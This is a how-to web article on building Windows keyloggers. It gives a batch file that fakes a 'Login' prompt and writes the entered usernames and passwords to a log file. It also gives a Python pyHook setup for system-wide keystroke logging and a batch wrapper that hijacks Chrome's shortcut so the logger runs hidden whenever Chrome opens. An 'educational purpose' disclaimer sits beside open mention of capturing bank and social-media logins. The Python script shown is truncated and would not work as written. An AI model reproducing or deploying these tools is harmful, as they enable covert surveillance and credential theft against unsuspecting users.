How To Make A Keylogger Using Notepad or Python [Quick and Easy]

How To Make A Keylogger Using Notepad or Python [Quick and Easy]

Make a Keylogger using Notepad or Python in Windows and test what it can be used for. We can use it to monitor inputs in personal computers and for many other purposes.

Keylogger is a piece of software which is able to track all the keystrokes done by a user using the computer. There are tons of different ways using which keyloggers are used to extract some confidential information from the users. Many blackhat ways are also used to monitor the target.

There are many good and bad sides of a keylogger. Like if any such script is installed in your computer system, every single information you types might reach bad hands. Bank account details, social media accounts login like details can be tracked using a simple keylogger.

So, in this article we want you to give a simple demonstration on how to make a keylogger. We’ll be using notepad or any other text editor here. This keylogger can track all the keyboard activity, e.g every single keystroke did.make a keylogger using notepad or python

We’ve shown two ways to make a keylogger. The first method is for beginners to understand how actually it work and how we made a keylogger using notepad in the first method.

But, the second method is by using Python which is for advanced users who want to explore more and more in ethical things. Python keylogger can catch keystrokes from different applications like Chrome. It’s very powerful and can be improved if you want to. Even python keyloggers can send data from remote computers directly to your specified destination.

Note: All the methods listed here are only for educational purpose. We aren’t responsible for any harm caused by these methods to anyone. It’s up to the learners how they will use this information.

2 Methods To Make A Keylogger In Windows

Let’s talk about the methods we’ll be discussing here. One method is by using notepad. We’ll be creating a batch file here and that batch file can log keystrokes done by the user.

Users who want to try the Python Keylogger needs to install some Python IDEs. Otherwise, python scripts won’t work.

Now, it’s up to you which method to choose. All the methods are explained very nicely and in details so that you can follow them with ease.

#1. Using Notepad Software

#2. By Using Python Script

Method 1. Using Notepad To Make A Keylogger In Windows

It’s one of the common methods you’ll be learning here. All you need is notepad software or any other text editing tool. Notepad is installed in Windows by default and hence there’s no download required.

  1. Search for notepad and open it.
  2. Now paste the following codes:
    @echo off
    color a
    title Login
    echo Please Enter Your Email Address And Password
    cd "C:\Logs"
    set /p user=Username:
    set /p pass=Password:
    echo Username=”%user%” Password=”%pass%” >> Log.txt
    start >>Program Here<<
  3. We need a batch file, so we’ll be saving it as filename.bat
  4. Click File>Save As and set file type to All, enter the name of the file as filename.bat and save it file as
  5. Open the C drive and create a new folder named Logs.create logs folder
  6. Now, run your batch file, enter username and working keylogger
  7. Once you’ll hit enter after entering username and password, all the details will be saved to Logs folder inside the C drive.logged information

That’s the simplest keylogger you can create using notepad. It can’t be applied to run with any other application. Only the username and password like fields entered here will be saved to the Log.txt file. This means it only works when the batch file is running and user put data in it.

Method 2. Making A Powerful Python Keylogger In Windows

Here comes the turn of some advanced users who kept looking for something advanced and exciting. There are many steps you need to perform in order to successfully complete this method. In this method, you’ll have to download a Python IDE. Otherwise the python codes we’ll be showing you won’t work.

Things you’ll need:

  • Python Development kit.
  • Internet connection if you don’t have Python Development kit.
  1. Download the Python development kit from here (official website).
  2. Once the download is complete, launch the installer.
  3. Make sure you’ve checked both the options shown in the screenshot below.install python ide
  4. Then download the get-pip-py from here: “”
  5. We now need to set environment variables, to do this, visit Advanced System Settings. So, right click on This PC>Properties>Advanced System Settings.set environment
  6. Select Environment Variables option.environment variables in windows
  7. Click New, Variable Name: Path, Variable Value: C:\Python27\Scripts and OK.
  8. After this, fire up CMD and hit following commands one by one:
    pip install Pypiwin32
    pip install PyHookhow to make keylogger in python
  9. Now, open Python and create a new script by selecting File>New File and paste the commands given below:
    import pyHook, pythoncom, sys, logging
    def onKeyboardEvent(event):
    return True

Note: Don’t forget to change file_log location where logs are saved.

Finally, Save the script as as python script

Working Of This Python Keylogger

Let’s talk about the working, we’ve successfully set all the required environment variable. We now only need to launch that python script and it’ll be working in the background.

Now, whenever you type something in any application, it’ll be trapped inside the log file.

But this script isn’t auto-launchable. e.g we need to run it manually to work properly. To solve this problem, we’ll just patch it to any software like Chrome.

We’ll simply create a batch script, will trigger the Chrome Shortcut to launch the batch file and that batch file will trigger both Chrome and Python script at the same time.

  • Create a batch file and put following codes:
    @echo off
    start “” “C:\test.pyw”
    start “” “C:\Program Files (x86)\Google\Chrome\Application\chrome.exe”
  • Note: Modify the location as per your installation paths.
  • Then change the shortcut target of Google Chrome.change target
  • That’s all you need to do. Now enjoy tracing every single keystroke.

We hope that you’ve successfully built your first keylogger in Notepad or Python. If you’re still having some sort of problems while following these methods or encountered any error, feel free to drop a comment down below and we’ll try to figure that out.

Leave a Reply

Your email address will not be published. Required fields are marked *